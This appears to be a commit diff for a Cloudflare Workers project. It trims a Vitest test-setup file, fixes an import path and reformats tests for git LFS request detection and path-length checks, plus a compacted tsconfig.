|
||||||
|
|
||||||
console.log('🏁 Test suite completed');
|
|
||||||
});
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Setup before each test
|
|
||||||
*/
|
|
||||||
beforeEach(async context => {
|
|
||||||
testMetrics.totalTests++;
|
|
||||||
|
|
||||||
// Reset any global state
|
|
||||||
resetGlobalState();
|
|
||||||
|
|
||||||
// Setup test-specific environment
|
|
||||||
await setupTestCase(context);
|
|
||||||
});
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Cleanup after each test
|
|
||||||
*/
|
|
||||||
afterEach(async context => {
|
|
||||||
// Update test metrics based on result
|
|
||||||
if (context.meta?.result === 'pass') {
|
|
||||||
testMetrics.passedTests++;
|
|
||||||
} else if (context.meta?.result === 'fail') {
|
|
||||||
testMetrics.failedTests++;
|
|
||||||
} else if (context.meta?.result === 'skip') {
|
|
||||||
testMetrics.skippedTests++;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Cleanup test-specific resources
|
|
||||||
await cleanupTestCase(context);
|
|
||||||
});
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Setup test environment
|
|
||||||
*/
|
|
||||||
async function setupTestEnvironment() {
|
|
||||||
// Verify Cloudflare Workers environment
|
// Verify Cloudflare Workers environment
|
||||||
if (typeof globalThis.fetch === 'undefined') {
|
if (typeof globalThis.fetch === 'undefined') {
|
||||||
throw new Error('fetch is not available in test environment');
|
throw new Error('fetch is not available in test environment');
|
||||||
}
|
}
|
||||||
|
|
||||||
// Setup global test utilities
|
// Verify required Web APIs
|
||||||
globalThis.TEST_CONFIG = TEST_CONFIG;
|
|
||||||
|
|
||||||
// Initialize performance monitoring
|
|
||||||
if (typeof performance === 'undefined') {
|
|
||||||
globalThis.performance = {
|
|
||||||
now: () => Date.now()
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
// Setup console overrides for testing
|
|
||||||
setupConsoleOverrides();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Verify test dependencies
|
|
||||||
*/
|
|
||||||
async function verifyTestDependencies() {
|
|
||||||
const requiredGlobals = ['Request', 'Response', 'Headers', 'URL', 'URLSearchParams'];
|
const requiredGlobals = ['Request', 'Response', 'Headers', 'URL', 'URLSearchParams'];
|
||||||
|
|
||||||
for (const global of requiredGlobals) {
|
for (const global of requiredGlobals) {
|
||||||
@@ -129,162 +32,11 @@ async function verifyTestDependencies() {
|
|||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.warn('Warning: Cloudflare Workers test environment not available');
|
console.warn('Warning: Cloudflare Workers test environment not available');
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
// Setup performance API if not available
|
||||||
* Setup console overrides for testing
|
if (typeof performance === 'undefined') {
|
||||||
*/
|
globalThis.performance = {
|
||||||
function setupConsoleOverrides() {
|
now: () => Date.now()
|
||||||
const originalConsole = { ...console };
|
|
||||||
|
|
||||||
// Store original console methods
|
|
||||||
globalThis.originalConsole = originalConsole;
|
|
||||||
|
|
||||||
// Override console methods for testing
|
|
||||||
console.warn = (...args) => {
|
|
||||||
if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) {
|
|
||||||
originalConsole.warn(...args);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
console.log = (...args) => {
|
|
||||||
if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) {
|
|
||||||
originalConsole.log(...args);
|
|
||||||
}
|
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
});
|
||||||
/**
|
|
||||||
* Reset global state between tests
|
|
||||||
*/
|
|
||||||
function resetGlobalState() {
|
|
||||||
// Clear any cached data
|
|
||||||
if (globalThis.testCache) {
|
|
||||||
globalThis.testCache.clear();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reset performance counters
|
|
||||||
if (globalThis.testPerformance) {
|
|
||||||
globalThis.testPerformance.reset();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Setup individual test case
|
|
||||||
*/
|
|
||||||
async function setupTestCase(context) {
|
|
||||||
// Create test-specific cache
|
|
||||||
globalThis.testCache = new Map();
|
|
||||||
|
|
||||||
// Setup test-specific performance monitoring
|
|
||||||
globalThis.testPerformance = {
|
|
||||||
marks: new Map(),
|
|
||||||
mark: name => {
|
|
||||||
globalThis.testPerformance.marks.set(name, performance.now());
|
|
||||||
},
|
|
||||||
measure: (name, startMark, endMark) => {
|
|
||||||
const start = globalThis.testPerformance.marks.get(startMark) || 0;
|
|
||||||
const end = globalThis.testPerformance.marks.get(endMark) || performance.now();
|
|
||||||
return end - start;
|
|
||||||
},
|
|
||||||
reset: () => {
|
|
||||||
globalThis.testPerformance.marks.clear();
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// Mark test start time
|
|
||||||
globalThis.testPerformance.mark('test-start');
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Cleanup individual test case
|
|
||||||
*/
|
|
||||||
async function cleanupTestCase(context) {
|
|
||||||
// Mark test end time
|
|
||||||
globalThis.testPerformance.mark('test-end');
|
|
||||||
|
|
||||||
// Log test performance if verbose
|
|
||||||
if (process.env.VERBOSE_TESTS) {
|
|
||||||
const duration = globalThis.testPerformance.measure('test-duration', 'test-start', 'test-end');
|
|
||||||
console.log(`Test "${context.meta?.name}" took ${duration.toFixed(2)}ms`);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Cleanup test-specific resources
|
|
||||||
if (globalThis.testCache) {
|
|
||||||
globalThis.testCache.clear();
|
|
||||||
}
|
|
||||||
|
|
||||||
if (globalThis.testPerformance) {
|
|
||||||
globalThis.testPerformance.reset();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Cleanup test environment
|
|
||||||
*/
|
|
||||||
async function cleanupTestEnvironment() {
|
|
||||||
// Restore original console
|
|
||||||
if (globalThis.originalConsole) {
|
|
||||||
Object.assign(console, globalThis.originalConsole);
|
|
||||||
delete globalThis.originalConsole;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Cleanup global test utilities
|
|
||||||
delete globalThis.TEST_CONFIG;
|
|
||||||
delete globalThis.testCache;
|
|
||||||
delete globalThis.testPerformance;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Custom test utilities available globally
|
|
||||||
*/
|
|
||||||
globalThis.testUtils = {
|
|
||||||
/**
|
|
||||||
* Create a test timeout
|
|
||||||
*/
|
|
||||||
timeout: ms =>
|
|
||||||
new Promise((_, reject) => {
|
|
||||||
setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
|
|
||||||
}),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Wait for a condition to be true
|
|
||||||
*/
|
|
||||||
waitFor: async (condition, timeout = 5000, interval = 100) => {
|
|
||||||
const start = Date.now();
|
|
||||||
|
|
||||||
while (Date.now() - start < timeout) {
|
|
||||||
if (await condition()) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
await new Promise(resolve => setTimeout(resolve, interval));
|
|
||||||
}
|
|
||||||
|
|
||||||
throw new Error(`Condition not met within ${timeout}ms`);
|
|
||||||
},
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Retry a function with exponential backoff
|
|
||||||
*/
|
|
||||||
retry: async (fn, maxRetries = 3, baseDelay = 100) => {
|
|
||||||
let lastError;
|
|
||||||
|
|
||||||
for (let i = 0; i < maxRetries; i++) {
|
|
||||||
try {
|
|
||||||
return await fn();
|
|
||||||
} catch (error) {
|
|
||||||
lastError = error;
|
|
||||||
|
|
||||||
if (i < maxRetries - 1) {
|
|
||||||
const delay = baseDelay * Math.pow(2, i);
|
|
||||||
await new Promise(resolve => setTimeout(resolve, delay));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
throw lastError;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// Export test configuration for use in other files
|
|
||||||
export { TEST_CONFIG, testMetrics };
|
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
import { describe, expect, it } from 'vitest';
|
import { describe, expect, it } from 'vitest';
|
||||||
import { PLATFORMS, transformPath } from '../src/config/platforms.js';
|
import { PLATFORMS, transformPath } from '../../src/config/platforms.js';
|
||||||
|
|
||||||
describe('Platform Configuration', () => {
|
describe('Platform Configuration', () => {
|
||||||
describe('Platform Definitions', () => {
|
describe('Platform Definitions', () => {
|
||||||
@@ -53,8 +53,10 @@ function isGitLFSRequest(request, url) {
|
|||||||
const accept = request.headers.get('Accept') || '';
|
const accept = request.headers.get('Accept') || '';
|
||||||
const contentType = request.headers.get('Content-Type') || '';
|
const contentType = request.headers.get('Content-Type') || '';
|
||||||
|
|
||||||
if (accept.includes('application/vnd.git-lfs') ||
|
if (
|
||||||
contentType.includes('application/vnd.git-lfs')) {
|
accept.includes('application/vnd.git-lfs') ||
|
||||||
|
contentType.includes('application/vnd.git-lfs')
|
||||||
|
) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -184,7 +186,9 @@ describe('Utility Functions', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('should identify LFS object storage requests by path', () => {
|
it('should identify LFS object storage requests by path', () => {
|
||||||
const request = new Request('https://example.com/repo.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd');
|
const request = new Request(
|
||||||
|
'https://example.com/repo.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd'
|
||||||
|
);
|
||||||
const url = new URL(request.url);
|
const url = new URL(request.url);
|
||||||
|
|
||||||
expect(isGitLFSRequest(request, url)).toBe(true);
|
expect(isGitLFSRequest(request, url)).toBe(true);
|
||||||
@@ -192,7 +196,7 @@ describe('Utility Functions', () => {
|
|||||||
|
|
||||||
it('should identify LFS requests by Accept header', () => {
|
it('should identify LFS requests by Accept header', () => {
|
||||||
const request = new Request('https://example.com/repo.git/objects/batch', {
|
const request = new Request('https://example.com/repo.git/objects/batch', {
|
||||||
headers: { 'Accept': 'application/vnd.git-lfs+json' }
|
headers: { Accept: 'application/vnd.git-lfs+json' }
|
||||||
});
|
});
|
||||||
const url = new URL(request.url);
|
const url = new URL(request.url);
|
||||||
|
|
||||||
@@ -278,7 +282,7 @@ describe('Utility Functions', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('should reject extremely long paths', () => {
|
it('should reject extremely long paths', () => {
|
||||||
const longPath = '/' + 'a'.repeat(3000);
|
const longPath = `/${'a'.repeat(3000)}`;
|
||||||
const request = new Request(`https://example.com${longPath}`);
|
const request = new Request(`https://example.com${longPath}`);
|
||||||
const url = new URL(request.url);
|
const url = new URL(request.url);
|
||||||
|
|
||||||
+3
-13
@@ -10,18 +10,8 @@
|
|||||||
"skipLibCheck": true,
|
"skipLibCheck": true,
|
||||||
"strict": true,
|
"strict": true,
|
||||||
"target": "ES2022",
|
"target": "ES2022",
|
||||||
"types": [
|
"types": ["@cloudflare/workers-types", "vitest/globals"]
|
||||||
"@cloudflare/workers-types",
|
|
||||||
"vitest/globals"
|
|
||||||
]
|
|
||||||
},
|
},
|
||||||
"exclude": [
|
"exclude": ["node_modules", "dist", "coverage"],
|
||||||
"node_modules",
|
"include": ["src/**/*", "test/**/*"]
|
||||||
"dist",
|
|
||||||
"coverage"
|
|
||||||
],
|
|
||||||
"include": [
|
|
||||||
"src/**/*",
|
|
||||||
"test/**/*"
|
|
||||||
]
|
|
||||||
}
|
}
|
||||||
Reference in new issue
Block a user